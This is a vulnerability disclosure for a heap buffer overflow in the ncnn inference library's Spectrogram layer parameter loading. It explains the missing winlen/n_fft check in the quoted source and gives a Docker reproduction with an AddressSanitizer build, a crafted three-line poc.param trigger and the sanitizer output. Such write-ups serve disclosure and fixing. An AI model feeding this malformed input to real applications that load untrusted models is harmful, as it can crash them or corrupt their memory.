Heap Overflow in Spectrogram Parameter Loading
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/spectrogram.cpp:40 in Spectrogram::load_param
Sanitizer verdict: heap-buffer-overflow
Summary
A .param file containing a Spectrogram layer whose winlen exceeds its n_fft causes a heap buffer overflow while the model is still being parsed — before any inference runs. Spectrogram::load_param() sizes the window buffer from n_fft but fills it with winlen elements, so the surplus floats are written past the allocation. Any consumer of ncnn::Net::load_param() is affected; the PoC uses ncnnoptimize, where the crash happens in main() at the load_param call.
Detail
Both n_fft (parameter id 0) and winlen (parameter id 3) come directly from the untrusted parameter file. The source contains only a comment where the relationship should be enforced — // assert winlen <= n_fft — and no code checks it. The allocation uses n_fft, every window-generation loop uses winlen:
// src/layer/spectrogram.cpp:16
n_fft = pd.get(0, 0);
// src/layer/spectrogram.cpp:19
winlen = pd.get(3, n_fft);
// src/layer/spectrogram.cpp:26
// assert winlen <= n_fft
// generate window
window_data.create(normalized == 2 ? n_fft + 1 : n_fft);
{
float* p = window_data;
for (int i = 0; i < (n_fft - winlen) / 2; i++)
{
*p++ = 0.f;
}
if (window_type == 0)
{
// all ones
for (int i = 0; i < winlen; i++)
{
*p++ = 1.f;
}
}
The PoC declares n_fft=8, winlen=32, window_type=0 and normalized=0, so window_data is created with room for 8 floats — 32 bytes of payload, which ASan sees as a 100-byte region once the reference count and ncnn's fixed over-read padding are included.
The leading zero-padding loop is skipped because (n_fft - winlen) / 2 is negative, so p starts at element 0 and the all-ones loop performs 32 unbounded *p++ = 1.f stores. The 25th store is the first byte past the end of the region, which is exactly where ASan reports the 4-byte write at spectrogram.cpp:40. Larger winlen values extend the overflow arbitrarily far past the allocation.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-heap-overflow-in-spectrogram-parameter-loading && cd ncnn-poc-heap-overflow-in-spectrogram-parameter-loading
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
cat > poc.param <<'POC'
7767517
1 1
Spectrogram s 0 1 out 0=8 3=32
POC
docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
/ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0
AddressSanitizer output:
=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5100000000a4 at pc 0x621b57cf6920 bp 0x7ffd0fb4f9b0 sp 0x7ffd0fb4f9a0
WRITE of size 4 at 0x5100000000a4 thread T0
#0 0x621b57cf691f in ncnn::Spectrogram::load_param(ncnn::ParamDict const&) /ncnn/src/layer/spectrogram.cpp:40
#1 0x621b4eeb6ca1 in ncnn::Net::load_param(ncnn::DataReader const&) /ncnn/src/net.cpp:1524
#2 0x621b4eeeb29e in ncnn::Net::load_param(_IO_FILE*) /ncnn/src/net.cpp:2177
#3 0x621b4eeeb5d6 in ncnn::Net::load_param(char const*) /ncnn/src/net.cpp:2196
#4 0x621b4edfebeb in main /ncnn/tools/ncnnoptimize.cpp:2788
#5 0x7bf05c9c71c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#6 0x7bf05c9c728a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#7 0x621b4ed7e624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
0x5100000000a4 is located 0 bytes after 100-byte region [0x510000000040,0x5100000000a4)
allocated by thread T0 here:
#0 0x7bf05d040f1d in posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x621b4ee4dbc5 in fastMalloc /ncnn/src/allocator.h:62
#2 0x621b4ee4dbc5 in ncnn::Mat::create(int, unsigned long, ncnn::Allocator*) /ncnn/src/mat.cpp:331
#3 0x621b57cf675d in ncnn::Spectrogram::load_param(ncnn::ParamDict const&) /ncnn/src/layer/spectrogram.cpp:28
#4 0x621b4eeb6ca1 in ncnn::Net::load_param(ncnn::DataReader const&) /ncnn/src/net.cpp:1524
#5 0x621b4eeeb29e in ncnn::Net::load_param(_IO_FILE*) /ncnn/src/net.cpp:2177
#6 0x621b4eeeb5d6 in ncnn::Net::load_param(char const*) /ncnn/src/net.cpp:2196
#7 0x621b4edfebeb in main /ncnn/tools/ncnnoptimize.cpp:2788
#8 0x7bf05c9c71c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#9 0x7bf05c9c728a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#10 0x621b4ed7e624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
SUMMARY: AddressSanitizer: heap-buffer-overflow /ncnn/src/layer/spectrogram.cpp:40 in ncnn::Spectrogram::load_param(ncnn::ParamDict const&)
Credit
Zheng Yu @ DepthFirst